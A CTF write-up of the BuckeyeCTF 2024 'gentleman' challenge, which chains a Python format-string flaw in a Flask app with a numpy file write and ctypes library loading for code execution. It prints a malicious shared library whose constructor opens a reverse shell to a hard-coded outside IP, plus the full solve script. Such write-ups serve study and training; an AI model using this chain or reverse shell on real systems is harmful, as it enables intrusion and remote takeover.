.;,;.
BuckeyeCTF 2024: "gentleman"

BuckeyeCTF 2024: "gentleman"

October 2, 2024
11 min read
Table of Contents

Introduction

Buckeye 2024 was kinda fun CTF (except for web, I had struggled a little bit). But in the end .;,;. full cleared and secured first place! Gentleman was a interesting challenge, so here is the writeup.

TLDR: there is a format string vulnerability inside a class, and it has arbitrary file upload. Here is the payload to achieve RCE:

{i.__init__.__globals__[__builtins__][__loader__].load_module.__globals__[sys].modules[ctypes].cdll[/home/app/app/scores/myid.score]}

gentleman

Solver
Category
misc
Points
499
Files
gentleman.zip
Flag
bctf{now_that_is_a_powerful_class_4e507}

Time to do the impossible.
Hint: check Corgo’s messages in the #misc channel on Discord.
gentleman.challs.pwnoh.io

The challenge provides a link: gentleman.challs.pwnoh.io, and the source code of the website.

Open the website, it’s a normal TypeMonkey website with login and signup functionality:

MONKEYYYYYYYY

Inside the source code, it provides a docker with python:3.12-slim-bookworm:

Screenshot 2024-10-01 at 10.41.27 AM.png

From: "Janette Erickson" <[email protected]>
To: "'Stanley Stern'" <[email protected]>
Subject: Regarding our project's security
Date: Mon, 2 Sep 2024 09:53:00 -0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_006E_01C738AC.D7216990"
 
This is a multi-part message in MIME format.
 
------=_NextPart_000_006E_01C738AC.D7216990
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
 
The pentester we hired has gotten back to us.
They identified one vulnerability in their report, but noted
that it would currently be impossible for an attacker to exploit.
 
Given that we're already 3 days over our deadline, I say
that we just release this as-is and worry about fixing the
vulnerability at a later point in time.
 
Janette
 
------=_NextPart_000_006E_01C738AC.D7216990--

The email is interesting, but it’s super unclear what is the email referencing to. I have also tried to search this up, but everything on this email is not real. ¯\*(ツ)*/¯

There is a readflag, and the flag.txt is chown root:root /readflag && chmod 4755 /readflag, so clearly, there is something inside the challenge can lead to remote code execution in order to get the flag.

The TypeMonkey uses Flask as the main server and and SQLAlchemy as the user database. Flask session is encrypted using SECRET_KEY = token_urlsafe()[:32], so it’s pretty safe.

Reading through the source, the models.py looks little bit suspicious:

Screenshot 2024-10-01 at 10.38.46 AM.png

Format string

Inside the User Model, there is this extra __repr__ function. When we try to print out a Python object, it will try to call this object’s __repr__ function. Every object inherit this __repr__, but you can choose to overwrite it.

Overwriting a __repr__ function is not that harmful at all. But at this point, we have control of the username, and it uses format string twice. That creates a problem:

'<User {u.username} (id {{[i.id](http://i.id/)}})>'.format(u=self).format(i=self)

There are two format()s here, where the first format will find the {} and pass in the content. At here, the first format formats the username. We can craft a bad username that lead to access other objects:

'<User {i.username} (id {[i.id](http://i.id/)})>'.format(i=self)

However, Python format strings have a restriction in that it can’t call functions within the format string (more info here: HackTricks).

Moving on:

typemonkey-app/app/routes.py

The __repr__ function is being called at here, str(user). I just added a print() statement inside the User class to find it’s being called here.

No function call? Access denied?

Now we know the goal is to get RCE, and the only vulnerability we have right now is this format string. The format string passes in a User object. What can we do with it? Usually, we can steal secrets with it! For example:

{i.find.__globals__[so].mapperlib.sys.modules[__main__].something}

We can steal something from the main code, however, the issue is that the server wouldn’t return anything:

@app.route('/api/score/<int:id>',methods=['GET'])
def get_user(id):
    user = m.load_user(id)
    if "User" not in str(user):
        return jsonify({"error":"User does not exist."})
    return jsonify({'best':user.score})

Due to this limitation, we need to find a way to achieve RCE. As demonstrated in the previous example, we might be able to invoke functions using []! By default, [] triggers the __getitem__ method within the Python object. Additionally, when accessing an object’s attribute, it calls a method like object.something, which invokes object.__getattr__(self, something). In fact, every Python operation is essentially a function call!

If there is something we can call, even if we can’t control the code or what we can call, we might still achieve RCE by finding a vulnerability deep within __getitem__ or __getattr__:

image

This documentation is available here.

Finding the needle in the haystack

Although inside the format string we don’t have many built-ins and we only passed in a class, we can still access other objects inside Python. We will discuss later how we can get it, but assume we have all the objects accessible, what do we have right now?

dict_keys(['sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', 'winreg', '_io', 'marshal', 'nt', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', 'encodings.cp1252', '_signal', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', '_winapi', 'ntpath', 'os.path', 'os', '_sitebuiltins', 'site', 'warnings', 'types', '_operator', 'operator', 'itertools', 'keyword', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'enum', 'numpy._utils._convertions', 'numpy._utils', 'numpy._globals', 'numpy._expired_attrs_2_0', 'numpy.version', 'numpy._distributor_init', 'numpy._utils._inspect', '_datetime', 'datetime', 'math', 'numpy.exceptions', 'numpy._core._exceptions', '_contextvars', 'contextvars', 'numpy._core.printoptions', 'numpy.dtypes', 'numpy._core._multiarray_umath', 'numpy._core.overrides', 'numpy._core.multiarray', 'numpy._core.umath', 'numbers', 'numpy._core._string_helpers', 'numpy._core._type_aliases', 'numpy._core._dtype', 'numpy._core.numerictypes', 'copyreg', '_struct', 'struct', '_sre', 're._constants', 're._parser', 're._casefix', 're._compiler', 're', '_compat_pickle', '_pickle', 'pickle', 'contextlib', 'collections.abc', 'numpy._core._ufunc_config', 'numpy._core._methods', 'numpy._core.fromnumeric', 'numpy._core.shape_base', 'numpy._core.arrayprint', 'numpy._core._asarray', 'numpy._core.numeric', 'numpy._core.records', 'numpy._core.memmap', 'numpy._core.function_base', 'numpy._core._machar', 'numpy._core.getlimits', 'numpy._core.einsumfunc', 'numpy._core._add_newdocs', 'numpy._core._add_newdocs_scalars', 'numpy._core._dtype_ctypes', '_ast', 'ast', '_ctypes', 'ctypes._endian', 'ctypes', 'numpy._core._internal', 'numpy._pytesttester', 'numpy._core', 'numpy.__config__', 'numpy.lib._array_utils_impl', 'numpy.lib.array_utils', 'numpy.lib.introspect', 'numpy.lib.mixins', '_weakrefset', 'weakref', 'textwrap', '_wmi', 'platform', 'numpy.lib._utils_impl', 'numpy.lib.format', 'numpy.lib._datasource', 'numpy.lib._iotools', 'numpy.lib._npyio_impl', 'numpy.lib.npyio', 'numpy.lib._ufunclike_impl', 'numpy.lib._type_check_impl', 'numpy.lib._scimath_impl', 'numpy.lib.scimath', 'numpy.lib._stride_tricks_impl', 'numpy.lib.stride_tricks', 'numpy.linalg.linalg', '_typing', 'typing.io', 'typing.re', 'typing', 'numpy.lib._twodim_base_impl', 'numpy.linalg._umath_linalg', '__future__', 'numpy._typing._nested_sequence', 'numpy._typing._nbit', 'numpy._typing._char_codes', 'numpy._typing._scalars', 'numpy._typing._shape', 'numpy._typing._dtype_like', 'numpy._typing._array_like', 'numpy._typing', 'numpy.linalg._linalg', 'numpy.linalg', 'numpy.matrixlib.defmatrix', 'numpy.matrixlib', 'numpy.lib._histograms_impl', 'numpy.lib._function_base_impl', 'numpy.lib._index_tricks_impl', 'numpy.lib._nanfunctions_impl', 'numpy.lib._shape_base_impl', 'numpy.lib._arraysetops_impl', 'numpy.lib._polynomial_impl', 'numpy.lib._arrayterator_impl', 'numpy.lib._arraypad_impl', 'numpy.lib._version', 'numpy.lib', 'numpy._array_api_info', 'numpy', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'errno', 'select', 'selectors', '_socket', 'socket', 'threading', 'socketserver', 'http', 'copy', 'email', '_bisect', 'bisect', '_random', '_sha2', 'random', 'urllib', 'ipaddress', 'urllib.parse', '_locale', 'locale', 'calendar', 'email._parseaddr', 'binascii', 'base64', 'email.base64mime', '_string', 'string', 'email.quoprimime', 'email.errors', 'quopri', 'email.encoders', 'email.charset', 'email.utils', 'html.entities', 'html', 'email.header', 'email._policybase', 'email.feedparser', 'email.parser', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'posixpath', 'mimetypes', 'fnmatch', 'zlib', '_compression', '_bz2', 'bz2', '_lzma', 'lzma', 'shutil', 'http.server', 'token', '_tokenize', 'tokenize', 'linecache', 'traceback', 'atexit', 'logging', 'werkzeug._internal', 'markupsafe._speedups', 'markupsafe', 'werkzeug.exceptions', 'werkzeug.datastructures.mixins', '_hashlib', '_blake2', 'hashlib', 'tempfile', 'urllib.response', 'urllib.error', 'nturl2path', 'urllib.request', 'werkzeug.sansio', 'werkzeug.sansio.http', 'werkzeug.http', 'werkzeug.datastructures.structures', 'werkzeug.datastructures.accept', 'werkzeug.datastructures.auth', 'werkzeug.datastructures.cache_control', 'werkzeug.datastructures.csp', 'werkzeug.datastructures.etag', 'werkzeug.datastructures.file_storage', 'werkzeug.datastructures.headers', 'werkzeug.datastructures.range', 'werkzeug.datastructures', 'werkzeug.urls', 'colorama.ansi', 'msvcrt', 'ctypes.wintypes', 'colorama.win32', 'colorama.winterm', 'colorama.ansitowin32', 'colorama.initialise', 'colorama', 'werkzeug.serving', '_opcode', 'opcode', 'dis', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'importlib.machinery', 'inspect', 'dataclasses', 'werkzeug.sansio.multipart', 'importlib._abc', 'importlib.util', 'pkgutil', 'unicodedata', 'hmac', 'secrets', 'werkzeug.security', 'werkzeug.sansio.utils', 'werkzeug.wsgi', 'werkzeug.utils', 'werkzeug.formparser', 'werkzeug.user_agent', 'werkzeug.sansio.request', 'werkzeug.wrappers.request', 'werkzeug.sansio.response', 'werkzeug.wrappers.response', 'werkzeug.wrappers', 'werkzeug.test', 'werkzeug', 'werkzeug.local', 'flask.globals', '_decimal', 'decimal', '_uuid', 'uuid', 'flask.json.provider', 'flask.json', 'gettext', 'click._winconsole', 'click._compat', 'click.globals', 'click.utils', 'click.exceptions', 'click.types', 'click.parser', 'click.formatting', 'click.termui', 'click.core', 'click.decorators', 'click', 'werkzeug.routing.converters', '_heapq', 'heapq', 'difflib', 'werkzeug.routing.exceptions', 'pprint', 'werkzeug.routing.rules', 'werkzeug.routing.matcher', 'werkzeug.routing.map', 'werkzeug.routing', '_csv', 'csv', 'pathlib', 'zipfile._path.glob', 'zipfile._path', 'zipfile', 'importlib.metadata._functools', 'importlib.metadata._text', 'importlib.metadata._adapters', 'importlib.metadata._meta', 'importlib.metadata._collections', 'importlib.metadata._itertools', 'importlib.resources.abc', 'importlib.resources._adapters', 'importlib.resources._common', 'importlib.resources._legacy', 'importlib.resources', 'importlib.abc', 'importlib.metadata', 'blinker._utilities', 'blinker.base', 'blinker', 'flask.signals', 'flask.helpers', 'flask.cli', 'flask.typing', 'flask.ctx', 'flask.sansio', 'flask.config', 'flask.logging', 'jinja2.bccache', 'jinja2.utils', 'jinja2.nodes', 'jinja2.exceptions', 'jinja2.visitor', 'jinja2.idtracking', 'jinja2.optimizer', 'jinja2.compiler', 'jinja2.async_utils', 'jinja2.runtime', 'jinja2.filters', 'jinja2.tests', 'jinja2.defaults', 'jinja2._identifier', 'jinja2.lexer', 'jinja2.parser', 'jinja2.environment', 'jinja2.loaders', 'jinja2', 'flask.templating', 'flask.sansio.scaffold', 'flask.sansio.app', 'itsdangerous.exc', 'itsdangerous.encoding', 'itsdangerous.signer', 'itsdangerous.serializer', 'itsdangerous.timed', 'itsdangerous._json', 'itsdangerous.url_safe', 'itsdangerous', 'flask.json.tag', 'flask.sessions', 'flask.wrappers', 'flask.app', 'flask.sansio.blueprints', 'flask.blueprints', 'flask', 'wtforms.validators', 'wtforms.widgets.core', 'wtforms.widgets', 'wtforms.i18n', 'wtforms.utils', 'wtforms.fields.core', 'wtforms.fields.choices', 'wtforms.fields.datetime', 'wtforms.fields.form', 'wtforms.fields.list', 'wtforms.fields.numeric', 'wtforms.fields.simple', 'wtforms.fields', 'wtforms.meta', 'wtforms.form', 'wtforms', 'wtforms.csrf', 'wtforms.csrf.core', 'flask_wtf.csrf', 'flask_wtf.form', 'flask_wtf.recaptcha.widgets', 'flask_wtf.recaptcha.validators', 'flask_wtf.recaptcha.fields', 'flask_wtf.recaptcha', 'flask_wtf', 'flask_login.__about__', 'flask_login.config', 'flask_login.mixins', 'flask_login.signals', 'flask_login.utils', 'flask_login.login_manager', 'shlex', 'click.testing', 'flask.testing', 'flask_login.test_client', 'flask_login', 'bcrypt._bcrypt', 'bcrypt', 'flask_bcrypt', 'dominate._version', 'concurrent', 'concurrent.futures._base', 'concurrent.futures', 'signal', 'subprocess', 'asyncio.constants', 'asyncio.coroutines', 'asyncio.format_helpers', 'asyncio.base_futures', 'asyncio.exceptions', 'asyncio.base_tasks', '_asyncio', 'asyncio.events', 'asyncio.futures', 'asyncio.protocols', 'asyncio.transports', 'asyncio.log', 'asyncio.sslproto', 'asyncio.mixins', 'asyncio.locks', 'asyncio.timeouts', 'asyncio.tasks', 'asyncio.staggered', 'asyncio.trsock', 'asyncio.base_events', 'asyncio.runners', 'asyncio.queues', 'asyncio.streams', 'asyncio.subprocess', 'asyncio.taskgroups', 'asyncio.threads', '_overlapped', 'asyncio.base_subprocess', 'asyncio.proactor_events', 'asyncio.selector_events', 'asyncio.windows_utils', 'asyncio.windows_events', 'asyncio', 'greenlet._greenlet', 'greenlet', 'dominate.util', 'dominate.dom_tag', 'dominate.dom1core', 'dominate.tags', 'dominate.document', 'dominate', 'visitor', 'flask_bootstrap.forms', 'flask_bootstrap', 'sqlalchemy.util.preloaded', 'sqlalchemy.cyextension', 'cython_runtime', '_cython_3_0_11', 'sqlalchemy.cyextension.collections', 'sqlalchemy.cyextension.immutabledict', 'sqlalchemy.cyextension.processors', 'sqlalchemy.cyextension.resultproxy', 'sqlalchemy.util.compat', 'sqlalchemy.exc', 'sqlalchemy.cyextension.util', 'sqlalchemy.util._has_cy', 'typing_extensions', 'sqlalchemy.util.typing', 'sqlalchemy.util._collections', 'sqlalchemy.util.langhelpers', 'sqlalchemy.util._concurrency_py3k', 'sqlalchemy.util.concurrency', 'sqlalchemy.util.deprecations', 'sqlalchemy.util', 'sqlalchemy.event.registry', 'sqlalchemy.event.legacy', 'sqlalchemy.event.attr', 'sqlalchemy.event.base', 'sqlalchemy.event.api', 'sqlalchemy.event', 'sqlalchemy.log', 'sqlalchemy.pool.base', 'sqlalchemy.pool.events', 'sqlalchemy.util.queue', 'sqlalchemy.pool.impl', 'sqlalchemy.pool', 'sqlalchemy.sql.roles', 'sqlalchemy.inspection', 'sqlalchemy.sql._typing', 'sqlalchemy.sql.visitors', 'sqlalchemy.sql.cache_key', 'sqlalchemy.sql.operators', 'sqlalchemy.sql.traversals', 'sqlalchemy.sql.base', 'sqlalchemy.sql.coercions', 'sqlalchemy.sql.annotation', 'sqlalchemy.sql.type_api', 'sqlalchemy.sql.elements', 'sqlalchemy.util.topological', 'sqlalchemy.sql.ddl', 'sqlalchemy.engine._py_processors', 'sqlalchemy.engine.processors', 'sqlalchemy.sql.sqltypes', 'sqlalchemy.sql.selectable', 'sqlalchemy.sql.schema', 'sqlalchemy.sql.util', 'sqlalchemy.sql.dml', 'sqlalchemy.sql.crud', 'sqlalchemy.sql.functions', 'sqlalchemy.sql.compiler', 'sqlalchemy.sql._dml_constructors', 'sqlalchemy.sql._elements_constructors', 'sqlalchemy.sql._selectable_constructors', 'sqlalchemy.sql.lambdas', 'sqlalchemy.sql.expression', 'sqlalchemy.sql.default_comparator', 'sqlalchemy.sql.events', 'sqlalchemy.sql.naming', 'sqlalchemy.sql', 'sqlalchemy.engine.interfaces', 'sqlalchemy.engine.util', 'sqlalchemy.engine.base', 'sqlalchemy.engine.events', 'sqlalchemy.dialects', 'sqlalchemy.engine.url', 'sqlalchemy.engine.mock', 'sqlalchemy.engine.create', 'sqlalchemy.engine.row', 'sqlalchemy.engine.result', 'sqlalchemy.engine.cursor', 'sqlalchemy.engine.reflection', 'sqlalchemy.engine', 'sqlalchemy.schema', 'sqlalchemy.types', 'sqlalchemy.engine.characteristics', 'sqlalchemy.engine.default', 'sqlalchemy', 'sqlalchemy.sql._orm_types', 'sqlalchemy.orm._typing', 'sqlalchemy.orm.base', 'sqlalchemy.orm.mapped_collection', 'sqlalchemy.orm.collections', 'sqlalchemy.orm.path_registry', 'sqlalchemy.orm.interfaces', 'sqlalchemy.orm.attributes', 'sqlalchemy.orm.util', 'sqlalchemy.orm.exc', 'sqlalchemy.orm.state', 'sqlalchemy.orm.instrumentation', 'sqlalchemy.future.engine', 'sqlalchemy.future', 'sqlalchemy.orm.context', 'sqlalchemy.orm.loading', 'sqlalchemy.orm.strategy_options', 'sqlalchemy.orm.descriptor_props', 'sqlalchemy.orm.relationships', 'sqlalchemy.orm.properties', 'sqlalchemy.orm.mapper', 'sqlalchemy.orm.query', 'sqlalchemy.orm.evaluator', 'sqlalchemy.orm.sync', 'sqlalchemy.orm.persistence', 'sqlalchemy.orm.bulk_persistence', 'sqlalchemy.orm.identity', 'sqlalchemy.orm.state_changes', 'sqlalchemy.orm.unitofwork', 'sqlalchemy.orm.session', 'sqlalchemy.orm._orm_constructors', 'sqlalchemy.orm.clsregistry', 'sqlalchemy.orm.decl_base', 'sqlalchemy.orm.decl_api', 'sqlalchemy.orm.strategies', 'sqlalchemy.orm.writeonly', 'sqlalchemy.orm.dynamic', 'sqlalchemy.orm.scoping', 'sqlalchemy.orm.events', 'sqlalchemy.orm.dependency', 'sqlalchemy.orm'])

Interesting packages are imported in here, such as numpy, json, werkzeug, jinja2, flask, sqlalchemy, etc.:

Screenshot 2024-10-02 at 11.01.34 AM.png

Even without considering the imported classes, within the Python standard library, there are more than two hundred specially defined __getitem__ methods. It’s overwhelming! How can we identify some dangerous __getitem__ or __getattr__ methods?

So we did a more systematic search to find all the functions that have __getitem__ and __getattr__ defined:

import sys
import inspect
 
def find_custom_methods_with_source():
    custom_classes = {}
 
    # Get all classes in the module
    for module in sys.modules.copy().values():
        try:
            for name, obj in inspect.getmembers(module, inspect.isclass):
                fqn = f'{obj.__module__}.{name}'
                methods = {}
 
                # Check for custom implementations of the desired methods
                for method in ['__get__', '__getattr__', '__getattribute__', '__getitem__']:
                    if method in obj.__dict__:
                        method_obj = getattr(obj, method)
                        try:
                            source_code = inspect.getsource(method_obj)
                            methods[method] = source_code
                        except (TypeError, OSError):
                            methods[method] = "Source code not available"
                            # delete the method from the methods dict
                            del methods[method]
 
                # If the class has any custom methods, add it to the result
                if methods:
                    custom_classes[fqn] = methods
 
        except Exception as e:
            # Skip modules that raise an exception during inspection (e.g., built-in modules without source code)
            continue
 
    return custom_classes
 
import pprint
# pprint.pprint(find_custom_methods_with_source())
# write to a file
with open('custom_methods.txt', 'w') as f:
    for k, v in find_custom_methods_with_source().items():
        f.write(f'{k}\n')
        # use pretty print to format the dictionary
        f.write(pprint.pformat(v))
        f.write('\n\n')

custom_methods.txt

Too much functions QuQ….

We examined each one individually, trying to find useful ones:

  1. tempfile._TemporaryFileWrapper looks suspicious, but it’s not useful.

    • tempfile._TemporaryFileWrapper, looks sus but not useful
  2. sqlalchemy.orm.util.AliasedClass is not useful either:

    • sqlalchemy.orm.util.AliasedClas, not useful too…
  3. weakref.WeakValueDictionary is not useful either: weakref.WeakValueDictionary

  4. EntryPoints from importlib.metadata is not useful either: EntryPoints from importlib.metadata

All of them have potential, yet none of them are helpful.

Time to Do the Impossible!

My teammate Quasar knew this before we did all of this analysis:

Screenshot 2024-10-02 at 1.38.26 PM.png

But we all ignored this and was so hyperfocused on the author’s hint about the Python standard library:

Authors hint in the server.

After a while trying to find the needle, we turn back to the idea of ctypes:

Ctype code snip selection

ctype.cdll has a specialized __getitem__ function, which means every time when we do ctype.cdll['libc.so.6'] it will auto load the libc.so.6, which is amazing! However we were struggling, and didn’t know what to load. We tried to load /readflag, however, it’s compile limited it to being loaded:

/usr/lib/aarch64-linux-gnu/libpthread.so.0
/usr/local/lib/python3.12/lib-dynload/_struct.cpython-312-aarch64-linux-gnu.so
/usr/lib/aarch64-linux-gnu/libffi.so.8.1.2
/usr/local/lib/python3.12/lib-dynload/_ctypes.cpython-312-aarch64-linux-gnu.so
/usr/local/lib/python3.12/lib-dynload/_opcode.cpython-312-aarch64-linux-gnu.so
/usr/lib/aarch64-linux-gnu/libtinfo.so.6.4
/usr/lib/aarch64-linux-gnu/libreadline.so.8.2
/usr/local/lib/python3.12/lib-dynload/readline.cpython-312-aarch64-linux-gnu.so
/usr/lib/aarch64-linux-gnu/libc.so.6
/usr/local/lib/libpython3.12.so.1.0
/usr/lib/aarch64-linux-gnu/libm.so.6
/usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1

We also tried to load the cpython module, but there was nothing really helpful in there, so we went through the source code again to find this:

gentleman/typemonkey-app/app/routes.py

It will save the score (no limit of how many score here), which is a numpy list, to a file! And according to the numpy documentation, it doesn’t have a header!:

https://numpy.org/doc/stable/reference/generated/numpy.ndarray.tofile.html

This means we have arbitrary file upload; we just never found it before and didn’t know it might have been helpful. But now everything has changed. We just need a library. Why don’t we just upload a library with bad code?

Payload time!

When we got to this point, there were only 50 minutes left in the CTF. It was super stressful and fun. We decided to just set up a reverse shell:

#include <stdlib.h>
 
__attribute__((constructor))
void init() {
    // system("echo hi");
    //for some wired reason this don't work:
    // system("/bin/bash -c '/readflag 2>&1 /dev/tcp/24.144.93.224/1337'");
    system("python3 -c \"import os; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(('24.144.93.224', 1337)); fd = s.fileno(); os.dup2(fd, 0); os.dup2(fd, 1); os.dup2(fd, 2); os.system('/bin/sh')\"");
}

Compile this to libtest.so, and convert it to a Python float. However, the server will only save the score if it is bigger than the previous one, which means if the float has null, it won’t work.

import numpy as np
import struct
import json
import math
from pwn import u64, p64
import sys
 
data = bytearray(open("libtest.so", "rb").read())
# trying to fix the infinity issue here, make sure no nah
data[0x1100:0x110d] = [0x90] * 0xc + [0x50]
doubles = []
for i in range(0, len(data), 8):
    n = u64(data[i:i+8])
    double = struct.unpack("<d", data[i:i+8])[0]
    if math.isnan(double):
        print(f"offset = {i:#x}, bytes = {u64(data[i:i+8]):#x}", file=sys.stderr)
        double = 0.0
        # exit(1)
    doubles.append(str(double))
# to make sure that it's always larger
doubles.append(float("+inf"))
 
print(json.dumps({
    "counts": doubles,
}))
# print(np.average(doubles))
np.asarray(list(map(float, doubles))).tofile("test.score")
# print(np.average(doubles), file=sys.stderr)
# import ctypes
# ctypes.cdll["./test.score"]

Now we have a score that will result in the file that we want; we just need to figure out how to recover ctype:

{i.__init__.__globals__[__builtins__][__loader__].load_module.__globals__[sys].modules[ctypes].cdll}

Where the __init__ recovers a function, access __globals__ from the function, get the __builtins__, use __loader__ to load system, use ctypes inside the system module, and load cdll.

Final solve script:

import requests
import random
import json
 
url = 'http://127.0.0.1:1234'
 
process = requests.Session()
 
def get_id():
    data = {
        'username': random.randint(0, 10000),
        'password': random.randint(0, 10000),
        'submit': 'Submit'
    }
    response = process.post(url + '/signup', data=data)
    response = process.post(url + '/login', data=data)
    cur_id = process.cookies.get('remember_token').split('|')[0]
    print(cur_id)
    return str(int(cur_id) + 1)
 
def get_bad_user(cur_id):
    username = "{i.__init__.__globals__[__builtins__][__loader__].load_module.__globals__[sys].modules[ctypes].cdll[/home/app/app/scores/"+(cur_id)+".score]}"
    data = {
        'username': username,
        'password': random.randint(0, 10000),
        'submit': 'Submit'
    }
    response = process.post(url + '/signup', data=data)
    response = process.post(url + '/login', data=data)
    return 1
 
user_id = get_id()
get_bad_user(user_id)
 
counts = json.load(open('dup2.json'))
counts["counts"] = [str(x) for x in counts["counts"]]
 
response = process.post(url + '/api/score/submit', json=counts)
print(response.text)
 
respons = process.get(url + '/api/score/' + user_id)
print(respons.text)
 

Flaggg!

Screenshot 2024-10-02 at 6.03.58 PM.png